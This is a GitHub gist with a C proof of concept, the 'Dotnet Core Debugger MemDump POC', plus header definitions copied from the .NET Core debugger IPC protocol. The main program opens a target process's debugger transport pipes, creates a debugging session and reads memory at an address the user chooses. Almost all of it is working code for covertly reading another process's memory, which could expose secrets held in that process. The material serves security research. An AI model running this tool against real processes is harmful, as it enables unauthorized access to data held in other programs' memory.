Skip to content

Instantly share code, notes, and snippets.

@xpn
Created August 31, 2020 19:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xpn/95eefc14918998853f6e0ab48d9f7b0b to your computer and use it in GitHub Desktop.
Save xpn/95eefc14918998853f6e0ab48d9f7b0b to your computer and use it in GitHub Desktop.
dotnet_memdump.c
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include "memdump.h"
#define DUMP_COUNT 50
// Headers which we will need to use throughout our session
MessageHeader sSendHeader;
MessageHeader sReceiveHeader;
// Our pipe handles
int wr, rd;
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++;
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
sSendHeader.m_eType = MT_ReadMemory;
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
bool createSession(void) {
SessionRequestData sDataBlock;
// Set up our session request header
sSendHeader.m_eType = MT_SessionRequest;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
// Set a random UUID
for(int i=0; i < sizeof(sDataBlock.m_sSessionID); i++) {
*((char *)&sDataBlock.m_sSessionID + i) = (char)rand();
}
// Send our header
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Send our UUID
if (write(wr, &sDataBlock, sizeof(SessionRequestData)) < 0) {
return false;
}
// Read the response
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
return true;
}
int main(int argc, char **argv) {
unsigned long long addr;
unsigned char *dumped;
printf("Dotnet Core Debugger MemDump POC by @_xpn_\n\n");
wr = open(argv[1], O_WRONLY);
rd = open(argv[2], O_RDONLY);
printf("[*] Creating a session with the target\n");
if (!createSession()) {
printf("[x] Error: Could not create debugger session\n");
return 1;
}
printf("[*] Attempting to dump memory\n");
addr = strtoll(argv[3], NULL, 16);
if (!readMemory((void*)addr, DUMP_COUNT, &dumped)) {
printf("[x] Error: Could not read target memory address: %p\n", addr);
return 2;
}
printf("[*] Success, dumped:");
for(int i=0; i < DUMP_COUNT; i++) {
printf("%c ", dumped[i]);
}
}
typedef unsigned int DWORD;
typedef unsigned char BYTE;
typedef unsigned char * PBYTE;
typedef DWORD HRESULT;
typedef unsigned short USHORT;
typedef unsigned int ULONG;
typedef unsigned char UCHAR;
typedef bool BOOL;
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
#define CorDBIPC_BUFFER_SIZE 4016
#define MSLAYOUT __attribute__((__ms_struct__))
enum IPCEventType
{
IPCET_OldStyle,
IPCET_DebugEvent,
IPCET_Max,
};
typedef struct _GUID {
ULONG Data1; // NOTE: diff from Win32, for LP64
USHORT Data2;
USHORT Data3;
UCHAR Data4[ 8 ];
} GUID;
enum MessageType
{
// Session management operations. These must come first and MT_SessionClose must be last in the group.
MT_SessionRequest, // RS -> LS : Request a new session be formed (optionally pass encrypted data key)
MT_SessionAccept, // LS -> RS : Accept new session
MT_SessionReject, // LS -> RS : Reject new session, give reason
MT_SessionResync, // RS <-> LS : Resync broken connection by informing other side which messages must be resent
MT_SessionClose, // RS -> LS : Gracefully terminate a session
// Debugger events.
MT_Event, // RS <-> LS : A debugger event is being sent as the data block of the message
// Misc management operations.
MT_ReadMemory, // RS <-> LS : RS wants to read LS memory block (or LS is replying to such a request)
MT_WriteMemory, // RS <-> LS : RS wants to write LS memory block (or LS is replying to such a request)
MT_VirtualUnwind, // RS <-> LS : RS wants to LS unwind a stack frame (or LS is replying to such a request)
MT_GetDCB, // RS <-> LS : RS wants to read LS DCB (or LS is replying to such a request)
MT_SetDCB, // RS <-> LS : RS wants to write LS DCB (or LS is replying to such a request)
MT_GetAppDomainCB, // RS <-> LS : RS wants to read LS AppDomainCB (or LS is replying to such a request)
};
enum RejectReason
{
RR_IncompatibleVersion, // LS doesn't support the major version asked for in the request.
RR_AlreadyAttached, // LS already has another session open (LS only supports one session at a time)
};
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
// The rest of the header varies depending on the message type (keep the maximum size of this union
// small since all messages will pay the overhead, large message type specific data should go in the
// following data block).
union
{
// Used by MT_SessionRequest / MT_SessionAccept.
struct
{
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
// Used by MT_SessionReject.
struct
{
RejectReason m_eReason; // Reason for rejection.
DWORD m_dwMajorVersion; // Highest protocol version the LS supports
DWORD m_dwMinorVersion;
} SessionReject;
// Used by MT_ReadMemory and MT_WriteMemory.
struct
{
PBYTE m_pbLeftSideBuffer; // Address of memory to read/write on the LS
DWORD m_cbLeftSideBuffer; // Size in bytes of memory to read/write
HRESULT m_hrResult; // Result from LS (access can fail due to unmapped memory etc.)
} MemoryAccess;
// Used by MT_Event.
struct
{
IPCEventType m_eIPCEventType; // multiplexing type of this IPC event
DWORD m_eType; // Event type (useful for debugging)
} Event;
} TypeSpecificData;
BYTE m_sMustBeZero[8]; // Set this to zero when initializing and never read the contents
};
struct SessionRequestData
{
GUID m_sSessionID; // Unique session ID. Treated as byte blob so no endian-ness
};
typedef unsigned int SIZE_T;
typedef unsigned int RemoteHANDLE;
struct MSLAYOUT DebuggerIPCRuntimeOffsets
{
#ifdef FEATURE_INTEROP_DEBUGGING
void *m_genericHijackFuncAddr;
void *m_signalHijackStartedBPAddr;
void *m_excepForRuntimeHandoffStartBPAddr;
void *m_excepForRuntimeHandoffCompleteBPAddr;
void *m_signalHijackCompleteBPAddr;
void *m_excepNotForRuntimeBPAddr;
void *m_notifyRSOfSyncCompleteBPAddr;
void *m_raiseExceptionAddr; // The address of kernel32!RaiseException in the debuggee
DWORD m_debuggerWordTLSIndex; // The TLS slot for the debugger word used in the debugger hijack functions
#endif // FEATURE_INTEROP_DEBUGGING
SIZE_T m_TLSIndex; // The TLS index of the thread-local storage for coreclr.dll
SIZE_T m_TLSEEThreadOffset; // TLS Offset of the Thread pointer.
SIZE_T m_TLSIsSpecialOffset; // TLS Offset of the "IsSpecial" status for a thread.
SIZE_T m_TLSCantStopOffset; // TLS Offset of the Can't-Stop count.
SIZE_T m_EEThreadStateOffset; // Offset of m_state in a Thread
SIZE_T m_EEThreadStateNCOffset; // Offset of m_stateNC in a Thread
SIZE_T m_EEThreadPGCDisabledOffset; // Offset of the bit for whether PGC is disabled or not in a Thread
DWORD m_EEThreadPGCDisabledValue; // Value at m_EEThreadPGCDisabledOffset that equals "PGC disabled".
SIZE_T m_EEThreadFrameOffset; // Offset of the Frame ptr in a Thread
SIZE_T m_EEThreadMaxNeededSize; // Max memory to read to get what we need out of a Thread object
DWORD m_EEThreadSteppingStateMask; // Mask for Thread::TSNC_DebuggerIsStepping
DWORD m_EEMaxFrameValue; // The max Frame value
SIZE_T m_EEThreadDebuggerFilterContextOffset; // Offset of debugger's filter context within a Thread Object.
SIZE_T m_EEFrameNextOffset; // Offset of the next ptr in a Frame
DWORD m_EEIsManagedExceptionStateMask; // Mask for Thread::TSNC_DebuggerIsManagedException
void *m_pPatches; // Addr of patch table
BOOL *m_pPatchTableValid; // Addr of g_patchTableValid
SIZE_T m_offRgData; // Offset of m_pcEntries
SIZE_T m_offCData; // Offset of count of m_pcEntries
SIZE_T m_cbPatch; // Size per patch entry
SIZE_T m_offAddr; // Offset within patch of target addr
SIZE_T m_offOpcode; // Offset within patch of target opcode
SIZE_T m_cbOpcode; // Max size of opcode
SIZE_T m_offTraceType; // Offset of the trace.type within a patch
DWORD m_traceTypeUnmanaged; // TRACE_UNMANAGED
};
// DCB
struct MSLAYOUT DebuggerIPCControlBlock
{
// Version data should be first in the control block to ensure that we can read it even if the control block
// changes.
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized
ULONG m_verMajor; // CLR build number for the Left Side.
ULONG m_verMinor; // CLR build number for the Left Side.
// This next stuff fits in a DWORD.
bool m_checkedBuild; // CLR build type for the Left Side.
// using the first padding byte to indicate if hosted in fiber mode.
// We actually just need one bit. So if needed, can turn this to a bit.
// BYTE padding1;
bool m_bHostingInFiber;
BYTE padding2;
BYTE padding3;
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side.
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support.
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side.
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires.
HRESULT m_errorHR;
unsigned int m_errorCode;
// 64-bit needs this padding to make the handles after this aligned.
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0.
ULONG padding4;
RemoteHANDLE m_rightSideEventAvailable;
RemoteHANDLE m_rightSideEventRead;
// @dbgtodo inspection - this is where LSEA and LSER used to be. We need to the padding to maintain binary compatibility.
// Eventually, we expect to remove this whole block.
RemoteHANDLE m_paddingObsoleteLSEA;
RemoteHANDLE m_paddingObsoleteLSER;
RemoteHANDLE m_rightSideProcessHandle;
//.............................................................................
// Everything above this point must have the exact same binary layout as v1.1.
// See protocol details below.
//.............................................................................
RemoteHANDLE m_leftSideUnmanagedWaitEvent;
// This is set immediately when the helper thread is created.
// This will be set even if there's a temporary helper thread or if the real helper
// thread is not yet pumping (eg, blocked on a loader lock).
DWORD m_realHelperThreadId;
// This is only published once the helper thread starts running in its main loop.
// Thus we can use this field to see if the real helper thread is actually pumping.
DWORD m_helperThreadId;
// This is non-zero if the LS has a temporary helper thread.
DWORD m_temporaryHelperThreadId;
// ID of the Helper's canary thread.
DWORD m_CanaryThreadId;
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets;
void *m_helperThreadStartAddr;
void *m_helperRemoteStartAddr;
DWORD *m_specialThreadList;
BYTE m_receiveBuffer[CorDBIPC_BUFFER_SIZE];
BYTE m_sendBuffer[CorDBIPC_BUFFER_SIZE];
DWORD m_specialThreadListLength;
bool m_shutdownBegun;
bool m_rightSideIsWin32Debugger; // RS status
bool m_specialThreadListDirty;
bool m_rightSideShouldCreateHelperThread;
};
struct MSLAYOUT DebuggerIPCControlBlockTransport
{
// Version data should be first in the control block to ensure that we can read it even if the control block
// changes.
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized
ULONG m_verMajor; // CLR build number for the Left Side.
ULONG m_verMinor; // CLR build number for the Left Side.
// This next stuff fits in a DWORD.
bool m_checkedBuild; // CLR build type for the Left Side.
// using the first padding byte to indicate if hosted in fiber mode.
// We actually just need one bit. So if needed, can turn this to a bit.
// BYTE padding1;
bool m_bHostingInFiber;
BYTE padding2;
BYTE padding3;
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side.
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support.
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side.
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires.
HRESULT m_errorHR;
unsigned int m_errorCode;
// 64-bit needs this padding to make the handles after this aligned.
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0.
ULONG padding4;
// This is set immediately when the helper thread is created.
// This will be set even if there's a temporary helper thread or if the real helper
// thread is not yet pumping (eg, blocked on a loader lock).
DWORD m_realHelperThreadId;
// This is only published once the helper thread starts running in its main loop.
// Thus we can use this field to see if the real helper thread is actually pumping.
DWORD m_helperThreadId;
// This is non-zero if the LS has a temporary helper thread.
DWORD m_temporaryHelperThreadId;
// ID of the Helper's canary thread.
DWORD m_CanaryThreadId;
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets;
void *m_helperThreadStartAddr;
void *m_helperRemoteStartAddr;
DWORD *m_specialThreadList;
DWORD m_specialThreadListLength;
bool m_shutdownBegun;
bool m_rightSideIsWin32Debugger; // RS status
bool m_specialThreadListDirty;
bool m_rightSideShouldCreateHelperThread;
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment